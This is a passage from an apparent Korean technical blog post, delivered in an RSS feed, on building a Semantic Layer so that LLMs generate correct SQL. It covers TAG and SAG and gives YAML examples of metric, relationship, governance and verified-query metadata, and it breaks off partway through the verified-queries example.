&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[정형 데이터 메타화란? Semantic Layer·TAG·SAG 실전 설계]]></title><description><![CDATA[안녕하세요. 자바파커입니다. AI에게 데이터베이스 스키마를 넘기고 이렇게 물어봅니다. 지난달 순매출은 얼마야?  테이블에 , , 이 있으니 쉬워 보입니다. 하지만 AI…]]></description><link>https://blog.javapark.kr/structured-data-semantic-layer-tag/</link><guid isPermaLink="false">https://blog.javapark.kr/structured-data-semantic-layer-tag/</guid><pubDate>Mon, 31 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/fcbbec827ed0668d5dd2529998b6d8ad/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACHElEQVR42iWSW2+bQBBGeWoMy+6yLJcFc98lgLFDEjBOnQa7dRTnoihtpShqI/WhD23V/9DX/O4uiTSat6MzM98oB6qLTGG7te3OqT3TYKyCqQoCDUZgrBjgFJGC0MZyO5utHO+97KbVIHKoTIDnRV2UrjMxpPlG8hAnhslHTBZKdCwMurDZmedvWfTJCi+IuzRZa9BaUYH3YXg4bnftan918/zx8nG1vr+5+4EJ10Y4Ne2GhVsv2vnx3hO7YnnN5wN0amIdKToOvz3/eXz69fX7y8PTy3rz8/bLv4vd7wPNh5irehgm103/d1p8NvNLk2/C9MYNt5T11D5WND2oj4Zidl7O93VzK4rt7Gif8IsJCKGRAcSpXXh+hUlCKA+S5fz0LqsGFnVyF0WDoSjP8/I84V0iOlGsq/km5r2OUmhwYOS2ezj1M2qGvidcVhGns/0VZSfYrEczRLE8kvToOAVYdj4WyaFVQXk/q6RuraEUGJxMF+XZrct7jZaI5BIOtbdI3m4rhTiDkrQr5C2g3yBWU7+G1qEuEw2bRX9lhYuJmcqRlZFEsT5GMmpH0uDShtgCBScoamF0ogfHTjawZDBZ906NNF3KAhmT8voJiXTKVPS3mUmOnBmSzqjFaY94j7PVtLr0xdYOWt2INd2fAKYCpkiM2KXpzKhTQ0NALOTrIGf+Cp+idInECqWtNp1pjlDNREMBNmX4XAXuf0LRUPPNh/F5AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/fcbbec827ed0668d5dd2529998b6d8ad/a1b3b/thumbnail.webp 215w,
/static/fcbbec827ed0668d5dd2529998b6d8ad/fc700/thumbnail.webp 430w,
/static/fcbbec827ed0668d5dd2529998b6d8ad/521f7/thumbnail.webp 860w,
/static/fcbbec827ed0668d5dd2529998b6d8ad/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/fcbbec827ed0668d5dd2529998b6d8ad/f7886/thumbnail.png 215w,
/static/fcbbec827ed0668d5dd2529998b6d8ad/bc750/thumbnail.png 430w,
/static/fcbbec827ed0668d5dd2529998b6d8ad/3e3fe/thumbnail.png 860w,
/static/fcbbec827ed0668d5dd2529998b6d8ad/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/fcbbec827ed0668d5dd2529998b6d8ad/3e3fe/thumbnail.png&apos; alt=&apos;물리 스키마 위에 업무 의미와 조인 규칙을 올려 AI가 정확한 SQL을 만드는 Semantic Layer&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;물리 스키마 위에 업무 의미와 조인 규칙을 올려 AI가 정확한 SQL을 만드는 Semantic Layer&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;AI에게 데이터베이스 스키마를 넘기고 이렇게 물어봅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;지난달 순매출은 얼마야?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;orders&lt;/code&gt; 테이블에 &lt;code class=&quot;language-text&quot;&gt;amt&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;status&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;created_at&lt;/code&gt;이 있으니 쉬워 보입니다. 하지만 AI는 다음을 모릅니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;amt&lt;/code&gt;가 주문금액인지 실제 승인금액인지&lt;/li&gt;
&lt;li&gt;부가세와 배송비가 포함됐는지&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;status = &apos;C&apos;&lt;/code&gt;가 완료인지 취소인지&lt;/li&gt;
&lt;li&gt;환불은 주문 금액에서 빼는지 별도 테이블을 보는지&lt;/li&gt;
&lt;li&gt;주문과 결제를 1:1로 조인해도 되는지&lt;/li&gt;
&lt;li&gt;&quot;지난달&quot;을 주문일과 결제일 중 어느 날짜로 계산하는지&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;컬럼 타입은 있어도 &lt;strong&gt;업무 의미&lt;/strong&gt;가 없습니다. 이 상태에서 LLM이 만든 SQL은 문법적으로 맞아도 비즈니스적으로 틀릴 수 있습니다.&lt;/p&gt;
&lt;p&gt;결론부터 말하면 정형 데이터를 AI에 연결할 때 필요한 것은 행 전체를 문장으로 바꿔 임베딩하는 작업이 아닙니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;물리 스키마 위에 grain·metric·relationship·business term·governance를 올린 Semantic Layer를 만들고, 질문마다 필요한 조각만 TAG 파이프라인에 공급해야 합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;SAG는 그다음입니다. 테이블 계산만으로 답할 수 없는 정책 문서와 사건의 관계를 &lt;code class=&quot;language-text&quot;&gt;Event + Entity&lt;/code&gt;로 연결할 때 사용합니다.&lt;/p&gt;
&lt;p&gt;스키마만 보고 만든 SQL이 왜 틀린 답을 내는지를 &lt;strong&gt;1분 영상&lt;/strong&gt;으로도 정리했습니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/5K59KCIMHdg&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.13953488372093%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAAEC0lEQVR42mWUy4/bRBzHDWUTj+3EY3tm/H6/X0k22WTz3JDdUEBb6JYWURW1KhU3Lr1x7xlx4Yg4IMGtZ/4+fkmqSlDpo9GMNZ95fj0ckjxedJHoClIgyXEPJ7KaY63EpFHoQGUjTR8TY0LNKbNmunWpW/Mjl9DkUD8USSaRjFezjhwjLe8qWVcpJNYqzkQF3KnmzYh3Sfw5PbAAdH9l2AtOwInkjQS9iuv1/PpRNdmv9k+WN4/jZoPUBMb9EIGkqndpuRsO4bgXzwRnmA+udrfPpldfX99+f//h87BaITUWSQpdBQ1I3gPfNX9uB59yAiwVZtDSrpLc64UdnJ7J6RlORdaozoXmwmphnUsWrvXoyoi3J5z0Mye84Xo40+0ltZe6s3HDGzfa+/F9P/k8SL+03CvDXun2wnCXprc+YXkbACpudMNhMljtXt9992Z/+3N9/rKdvGonPzTjl4OLV2H2gJhTYs/MYKtZM8xGfN9HODogh5a/5Xpa3YyfTlcvhtNnSfUwKr4CsuZR1n7jhNcgU3vI7JHhj03/AtMSyZGA43eygDPVqAxvQO2a77tnotWRrD5JJDWI8gcubCGdeckib3dxucGsOsrJO1lUCtU8D4tNWKytYNrTik4vwnots8r0tsxeglYMr8vRnjkjmRaSmh5njk7LrqKkTdLG9UrHzZkRAa5fO15huktiXrrx1ImnhjcK86UdTiT1MC3fD0xvw/VJNR62TRl7jhcF4YmyaIu8tP257m56WgPIdCCTAZSKPlKNc9UYW8GO69EGjiQp19RqUD8QcQQQq8asoPacOWvD35rBzgqv7fDGDveAc8Tyd5xEW9VsrWCs0EKQ4Q5AjmUt72uZYc9NZwlY7tr2NrZ3ZftbB8byrowjB5m5kyRbMr209CowG0oLWUsVklOjIXqj0grQWH2CsNp2FrqzhmiB3PTZSGEtCJ5ZV96I0LwDMVCTjhx05RDrJeS5I4ddHB0JTeuCWnNizjjIsEhrTW+REoNzhqOPRTcrl7+++eXP335/+8ff//z1drH4guMdScsEJQEM41wzLuA/5wTWAKreCEqMlAhKmAQb1ZO7Fz/9+Prpt68e3z0v2/VHogM/E69EgK4PFXaO6YgTjBYZLTZblZUKLVVaAJjkHdG/xzuf8C5UsJIRWmrkAFQIhT02slaD3IAPpWjUIqtEWgqkEEjep6XMSggzplVfLWQFKPGRPi5OcILZCGYrmDXSKwS3RQqkZXBaAiRJiWEXkGTIIzxvkpxI+D9wyKwPplEhViKSwxvGqyk6mjwOT0lEvQBJgdAL/weH9OIAyxGFxylDWsqDeZDBDMDs9g7Pa1dwAKi8B5ocAuHonDiaEZg8BtMHs3voZ3cF60P+BbHXsY3uVZl6AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/cc3f6629d7eecd59b314aa82df23aea6/a1b3b/video-thumb.webp 215w,
/static/cc3f6629d7eecd59b314aa82df23aea6/fc700/video-thumb.webp 430w,
/static/cc3f6629d7eecd59b314aa82df23aea6/521f7/video-thumb.webp 860w,
/static/cc3f6629d7eecd59b314aa82df23aea6/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/cc3f6629d7eecd59b314aa82df23aea6/f7886/video-thumb.png 215w,
/static/cc3f6629d7eecd59b314aa82df23aea6/bc750/video-thumb.png 430w,
/static/cc3f6629d7eecd59b314aa82df23aea6/3e3fe/video-thumb.png 860w,
/static/cc3f6629d7eecd59b314aa82df23aea6/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/cc3f6629d7eecd59b314aa82df23aea6/3e3fe/video-thumb.png&apos; alt=&apos;정형 데이터 메타화 영상 — 스키마만 보고 계산한 128억과 검증된 91억의 차이&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;정형 데이터 메타화 영상 — 스키마만 보고 계산한 128억과 검증된 91억의 차이&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;먼저 구분하기 — Schema, Semantic Layer, TAG, SAG&lt;/h2&gt;
&lt;p&gt;네 용어를 한 덩어리로 섞으면 구현 방향이 흐려집니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;개념&lt;/th&gt;
&lt;th&gt;저장하는 것&lt;/th&gt;
&lt;th&gt;담당하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Physical schema&lt;/td&gt;
&lt;td&gt;테이블·컬럼·타입·PK·FK&lt;/td&gt;
&lt;td&gt;데이터가 어떻게 저장됐는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Semantic Layer&lt;/td&gt;
&lt;td&gt;업무 용어·grain·metric·join·동의어·정책&lt;/td&gt;
&lt;td&gt;데이터가 무엇을 의미하는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TAG&lt;/td&gt;
&lt;td&gt;질문 → 쿼리 합성 → DB 실행 → 답변 생성&lt;/td&gt;
&lt;td&gt;정형 데이터를 정확히 계산하고 설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SAG&lt;/td&gt;
&lt;td&gt;Chunk → Event + Entity → SQL 기반 관계 확장&lt;/td&gt;
&lt;td&gt;여러 문서의 근거를 동적으로 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Snowflake의 Semantic View도 logical table, dimension, fact, metric, relationship을 정의해 업무 용어와 물리 테이블 사이를 연결합니다. 설명·동의어·데이터 타입·검증된 SQL 예제가 자연어 질의의 정확도를 높이는 핵심 메타데이터입니다.&lt;/p&gt;
&lt;p&gt;TAG(Table-Augmented Generation)는 UC Berkeley 연구진이 제안한 정형 데이터 질의 모델입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Query synthesis: 질문 → 실행 가능한 쿼리
Query execution:  쿼리 → 결과 테이블
Answer generation: 질문 + 결과 테이블 → 최종 답변&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;반면 SAG(SQL-Retrieval Augmented Generation)는 원래 정형 테이블 분석을 가리키는 말이 아닙니다. 문서 청크마다 의미가 완결된 Event와 여러 Entity를 만들고, 질의 시 공유 Entity를 SQL 조인 키로 사용해 로컬 관계를 구성하는 검색 구조입니다.&lt;/p&gt;
&lt;p&gt;따라서 이번 글에서는 &lt;strong&gt;Semantic Layer + TAG를 본체&lt;/strong&gt;, &lt;strong&gt;SAG를 문서 근거 확장 계층&lt;/strong&gt;으로 사용합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;스키마만으로 틀리는 실제 예&lt;/h2&gt;
&lt;p&gt;다음 세 테이블이 있다고 해보겠습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;orders(order_id, customer_id, amt, status, created_at)
payments(payment_id, order_id, approved_amt, paid_at, status)
refunds(refund_id, payment_id, refund_amt, refunded_at, status)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;사용자가 &quot;지난달 순매출&quot;을 물었을 때 LLM이 가장 쉽게 만드는 SQL은 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;SUM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;amt&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; orders
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; created_at &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; DATE_TRUNC&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;month&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CURRENT_DATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INTERVAL&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;1 month&apos;&lt;/span&gt;
  &lt;span class=&quot;token operator&quot;&gt;AND&lt;/span&gt; created_at &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; DATE_TRUNC&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;month&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CURRENT_DATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;문법은 맞지만 다음 문제가 있습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;주문 생성일이 아니라 결제 승인일을 기준으로 해야 합니다.&lt;/li&gt;
&lt;li&gt;실패·취소된 주문이 포함될 수 있습니다.&lt;/li&gt;
&lt;li&gt;부분 환불과 전체 환불을 빼지 않았습니다.&lt;/li&gt;
&lt;li&gt;한 주문에 여러 결제 시도가 있으면 중복 계산할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;orders.amt&lt;/code&gt;가 할인 전 금액일 수 있습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이 문제는 모델을 더 크게 바꿔도 해결되지 않습니다. 조직 안에만 있는 정의가 입력에 없기 때문입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실무에서 필요한 메타데이터 8종&lt;/h2&gt;
&lt;h3&gt;1. Description — 이 값은 무엇인가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;approved_amt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 결제사가 최종 승인한 세금 포함 금액
  &lt;span class=&quot;token key atrule&quot;&gt;unit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; KRW&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;금액&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;일자&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;코드&lt;/code&gt; 같은 설명은 없는 것과 같습니다. 포함·제외 범위까지 적어야 합니다.&lt;/p&gt;
&lt;h3&gt;2. Grain — 한 행은 무엇을 뜻하는가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;grain&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 결제 시도 한 건당 한 행&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;grain이 없으면 조인 후 행이 늘어났을 때 중복 집계를 발견하기 어렵습니다.&lt;/p&gt;
&lt;h3&gt;3. Keys와 Relationships — 어떻게 연결하는가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;relationships&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; payments.order_id
    &lt;span class=&quot;token key atrule&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; orders.order_id
    &lt;span class=&quot;token key atrule&quot;&gt;cardinality&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; many_to_one
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; refunds.payment_id
    &lt;span class=&quot;token key atrule&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; payments.payment_id
    &lt;span class=&quot;token key atrule&quot;&gt;cardinality&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; many_to_one&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;FK가 있다고 항상 분석용 조인이 되는 것은 아닙니다. 유효 기간 조건, 최신 레코드 조건, soft delete 조건이 필요한 조인도 별도로 적어야 합니다.&lt;/p&gt;
&lt;h3&gt;4. Value semantics — 코드값은 무엇을 뜻하는가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;APPROVED&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 승인 완료
    &lt;span class=&quot;token key atrule&quot;&gt;FAILED&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 승인 실패
    &lt;span class=&quot;token key atrule&quot;&gt;CANCELED&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 승인 후 취소&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;샘플값만 보여주면 LLM이 &lt;code class=&quot;language-text&quot;&gt;C&lt;/code&gt;를 Complete나 Canceled 중 하나로 추측합니다.&lt;/p&gt;
&lt;h3&gt;5. Business terms와 Synonyms — 사용자는 어떤 말로 묻는가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;business_terms&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 순매출
    &lt;span class=&quot;token key atrule&quot;&gt;synonyms&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;실매출&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; net revenue&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 확정 매출&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;테이블은 &lt;code class=&quot;language-text&quot;&gt;approved_amt&lt;/code&gt;라고 쓰고 현업은 &quot;확정 매출&quot;이라고 부를 수 있습니다. 이 간극을 메타데이터가 메웁니다.&lt;/p&gt;
&lt;h3&gt;6. Metrics — 계산 공식을 한 곳에 고정하기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;metrics&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;net_revenue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 승인 결제액에서 완료 환불액을 차감한 금액
    &lt;span class=&quot;token key atrule&quot;&gt;expression&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; SUM(payments.approved_amt) &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; SUM(refunds.refund_amt)
    &lt;span class=&quot;token key atrule&quot;&gt;time_dimension&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; payments.paid_at
    &lt;span class=&quot;token key atrule&quot;&gt;filters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; payments.status = &apos;APPROVED&apos;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; refunds.status = &apos;COMPLETED&apos;
    &lt;span class=&quot;token key atrule&quot;&gt;unit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; KRW&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;자연어 설명만 저장하면 질의마다 공식이 달라집니다. metric은 실행 가능한 수식과 시간축, 필터를 함께 가져야 합니다.&lt;/p&gt;
&lt;h3&gt;7. Governance — 누가 보고 얼마나 최신인가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;owner&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; finance&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;data@company.example
&lt;span class=&quot;token key atrule&quot;&gt;freshness&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 15m
&lt;span class=&quot;token key atrule&quot;&gt;classification&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; internal
&lt;span class=&quot;token key atrule&quot;&gt;pii_columns&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;customer_id&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;allowed_roles&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;finance_analyst&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;메타데이터 검색이 권한을 우회하면 안 됩니다. 사용자가 접근 가능한 Semantic View만 검색해야 합니다.&lt;/p&gt;
&lt;h3&gt;8. Verified queries — 맞다고 확인한 질문과 SQL&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;verified_queries&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;question&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 지난달 순매출은 얼마인가&lt;span class=&quot;token punctuation&quot;&gt;?&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;sql&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
      SELECT month, net_revenue
      FROM analytics.monthly_sales
      WHERE month = DATE_TRUNC(&apos;month&apos;, CURRENT_DATE) - INTERVAL &apos;1 month&apos;&lt;/span&gt;
